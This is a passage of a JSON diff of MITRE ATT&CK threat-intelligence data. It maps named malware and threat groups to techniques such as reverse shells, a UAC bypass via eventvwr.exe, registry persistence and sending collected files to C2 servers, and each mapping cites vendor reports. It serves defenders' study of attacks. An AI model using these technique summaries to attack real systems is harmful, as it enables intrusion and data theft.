"url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd", + "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2020-03-20T16:46:50.615Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1c395bb3-3b16-422f-bb00-9048b67b2337", + "description": "Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "modified": "2020-03-17T02:54:39.714Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx", + "description": "Huss, D., et al. (2017, February 2). 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Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.(Citation: Dell TG-3390)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T02:06:54.661Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--073215cd-bc1e-48e8-8f3a-7d24f18b32c6", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)(Citation: Talos Seduploader Oct 2017)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-01-17T22:22:30.736Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. 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Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6", + "description": "[Mivast](https://attack.mitre.org/software/S0080) communicates over port 80 for C2.(Citation: Symantec Backdoor.Mivast)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c", + "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.(Citation: ESET RTM Feb 2017)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-05-12T22:13:16.875Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a", + "description": "The \"ZJ\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "modified": "2020-03-23T16:41:57.301Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. 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Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f1000a93-e87d-4acf-b71d-73c3bb05fd75", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2021-08-12T13:34:34.296Z", + "source_ref": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.020Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--83ad6071-8874-49c9-98cd-0d493a8eeb07", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use netstat -ano to display active network connections.(Citation: AlienVault Sykipot 2011)", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "modified": "2020-03-16T17:50:28.572Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6a89ded-fa53-42b9-8f40-03c845123ac0", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-08-18T13:13:30.938Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. 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(2017, February). Read The Manual: A Guide to the RTM Banking Trojan. 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Retrieved July 9, 2018.", + "source_name": "ASERT InnaputRAT April 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a959425-4d43-4969-9a47-768894a3afaa", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute ver and systeminfo commands.(Citation: Emissary Trojan Feb 2016)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2021-08-27T14:42:00.461Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", + "description": "Falcone, R. and Miller-Osborn, J. (2016, February 3). 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Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4d6b8bca-ad81-41d6-8b4e-194ddf04d3dd", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2019-05-10T18:57:53.140Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--128eb6e8-d1a7-4ff6-85e6-a68cfea3298e", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) collects and sends system information to its C2.(Citation: FireEye APT37 Feb 2018)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2020-03-20T21:29:27.710Z", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "source_name": "ESET Sednit July 2015", + "description": "ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. 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(2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b60dcc78-83b0-4fe2-b874-6f22f99b6087", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.(Citation: Unit 42 Magic Hound Feb 2017)", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "modified": "2019-09-09T19:21:42.305Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--64e3196b-50c6-47d9-8841-1b7902a1546a", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) searches recursively for Outlook personal storage tables (PST) files within user directories and sends them back to the C2 server.(Citation: FireEye CARBANAK June 2017)", + "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", + "modified": "2020-03-17T16:18:51.454Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d", + "description": "[DustySky](https://attack.mitre.org/software/S0062) scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-05-14T15:14:33.557Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky" + }, + { + "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", + "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.", + "source_name": "Kaspersky MoleRATs April 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--deb7df24-689e-4e4e-909f-a270241ab65a", + "description": "[Gazer](https://attack.mitre.org/software/S0168) logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.(Citation: Securelist WhiteBear Aug 2017)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-17T01:22:43.699Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://securelist.com/introducing-whitebear/81638/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--88852c38-9aeb-47f4-be63-dc09b8583155", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) deleted the DLL dropper from the victim\u2019s machine to cover their tracks.(Citation: Talos Cobalt Group July 2018)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2019-07-26T23:38:33.847Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. 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Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194", + "description": "Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. 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Retrieved September 17, 2015.", + "source_name": "FireEye APT29" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--69682171-e717-4af7-a24a-06a39f381641", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [NBTscan](https://attack.mitre.org/software/S0590) to discover vulnerable systems.(Citation: Dell TG-3390)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2021-03-17T16:21:46.871Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. 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Retrieved March 1, 2017.", + "source_name": "Palo Alto Gamaredon Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. 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Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "source_name": "Novetta Blockbuster Loaders" + }, + { + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "source_name": "Novetta Blockbuster Tools" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.(Citation: Cylance Dust Storm)", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "modified": "2020-02-11T16:23:56.671Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used a keylogger.(Citation: Kaspersky Darkhotel)", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "modified": "2020-03-16T20:05:43.536Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.047Z", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--acd19f55-0911-4cab-a27d-a962f63d2a66", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) communicates with its C2 servers through a TCP socket.(Citation: ESET InvisiMole June 2018)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2020-03-17T00:09:26.165Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can list information about files in a directory and recently opened or used documents. [InvisiMole](https://attack.mitre.org/software/S0260) can also search for specific files by supplied file mask.(Citation: ESET InvisiMole June 2018)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-08-17T14:08:26.521Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--319189e0-9db0-46f8-9386-0d909db94a46", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate network information, including information about trusts, zones, and the domain.(Citation: US-CERT TA18-074A)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-03-22T20:13:49.562Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110", + "description": "(Citation: FireEye APT10 April 2017)", + "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "modified": "2019-09-03T18:50:16.895Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4847b10f-f9da-4a35-8df8-e235c6244ba2", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)", + "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", + "modified": "2020-03-20T16:53:12.495Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the victim LAN IP address and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2020-03-17T01:16:15.823Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + 